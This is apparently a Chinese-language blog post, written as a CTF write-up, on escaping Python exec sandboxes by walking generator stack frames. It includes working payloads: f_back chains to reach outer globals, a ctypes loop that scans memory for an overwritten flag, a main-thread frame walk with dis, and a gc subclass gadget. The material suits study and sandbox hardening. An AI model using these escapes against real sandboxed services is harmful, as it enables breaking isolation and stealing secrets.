python栈帧沙箱逃逸

python利用栈帧进行沙箱逃逸

前言

中国海洋大学举办的CTF有一道python沙箱,赛后看了WP,发现要利用栈帧进行查找

回想2月的L3HCTF也有一道python沙箱,当时看不懂,现在学一下

基础知识

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。

yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束

简单的例子

def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

如果我们给a定义一个范围,a<=100 ,可以使用for语句一次性输出

def f():
    a=1
    for i in range(100):
        yield a
        a+=1
f=f()
for value in f:
    print(value)

生成器表达式

生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。

但是使用圆括号而不是方括号

a=(i+1 for i in range(100))
#next(a)
for value in a:
    print(value)

生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息

举例使用gi_frame获取当前帧的信息

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

frame(栈帧)

栈帧的几个重要属性

f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!

利用栈帧沙箱逃逸

原理就是生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器

    frame = next(g) #获取到生成器的栈帧对象  
    # frame = [x for x in g][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象 
    
    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

代码说明

也是对基础知识的再一次说明

  1. 使用next获取到的就是yield定义的值,这里获取到的就是g.gi_frame.f_back
  2. 使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧
  3. compile(codes, "test", "exec")就是设置了名称为test的python沙箱环境

小改一下

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()              #生成器

    frame = next(g)     #获取到生成器的栈帧对象
    print(frame)
    print(frame.f_back)
    print(frame.f_back.f_back)


waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)

image-20240429192731913

栈帧顺序

f  -> waff -> <module>(test) -> <module>(1.py)

成功逃逸

获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量了

困惑

但是yield g.gi_frame.f_back并不能修改为yield g.gi_frame

这样获取到的栈帧经过f_back后获得的是None

要是再来一个f_back就会报错

image-20240429193358326

困扰了很久,算了,就记住吧,在生成器函数内部直接访问

L3HCTF2024

设置了黑名单,最关键的是 {"__builtins__": None} 置空了__builtins__

exec(code,{"__builtins__": None},locals)

思路就是通过栈帧逃逸

但不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取

a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals   
#自行控制f_back,逃逸到外部文件即可,如果是flask,不要逃逸过头了到源文件去了

然后后面的思路就是通过globals里的__builtins__去覆盖int函数

具体看我之前的文章

第九届中国海洋大学信息安全竞赛 菜狗工具#2

源码

from flask import *
import io
import time

app = Flask(__name__)
black_list = [
    '__build_class__', '__debug__', '__doc__', '__import__', 
    '__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
    'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
    (key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])

flag = "flag{xxxxxx}"
flag = "DISPOSED"

@app.route("/")
def index():
    return redirect("/static/index.html")

@app.post("/run")
def run():
    out = io.StringIO()
    script = str(request.form["script"])
    
    def wrap_print(*args, **kwargs):
        kwargs["file"] = out
        print(*args, **kwargs)
    new_builtins["print"] = wrap_print

    try:
        exec(script, {"__builtins__": new_builtins})
    except Exception as e:
        wrap_print(e)
    
    ret = out.getvalue()
    out.close()
    return ret

time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)

分析

flag在源码中,但是源码被删除,没有 /proc目录

image-20240429202234438

要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存

cpython 的实现中暴露了获取 python 栈帧的方法

而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧

而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了

法一 (晨曦✌太猛了)

利用 ctypes模块的指针,将flag地址周围的值读一下,实现一个从内存读源码

因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可

这里用了char 指针,读出来的是一个字符串

最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]

b = a.f_back.f_globals
flag_id = id(b['flag'])    #id()函数用于读取内存地址
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)

for i in range(10000):
	txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
	if b"flag" in txt:
		print(txt)

image-20240429203332334

官方wp

使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧

而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线

程的 flag,需要从主线程栈帧向上找

sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate())     #获取所有活跃线程
print(threading.main_thread())    #获取主线程
print(threading.main_thread().ident)   # 获取主线程标识符
print(sys._current_frames())      # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象


frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:
	out = io.StringIO()     # 内存创建字符串I/O流
	dis.dis(frame.f_code,file=out)   # 将当前堆栈帧所对应的函数的字节码进行反汇编
	content = out.getvalue()    #获取反汇编的结果
	out.close()
	print(content)
	frame = frame.f_back

image-20240429222137005

gc

L3HCTF那题禁用了gc,但是这题没有,有师傅用这个秒了好像

print([].__class__.__base__.__subclasses__()[84].load_module('gc').get_objects())

#<class '_frozen_importlib.BuiltinImporter'>

东西太多了,有点卡

image-20240430001910400

reference

中国海洋大学信息安全竞赛 WP | 晨曦的个人小站 (chenxi9981.github.io)

https://xz.aliyun.com/t/13635

(14 封私信 / 80 条消息) python栈帧逃逸中关于生成器的问题? - 知乎 (zhihu.com)感觉有点不对


python栈帧沙箱逃逸
https://zer0peach.github.io/2024/04/29/python栈帧沙箱逃逸/
作者
Zer0peach
发布于
2024年4月29日
许可协议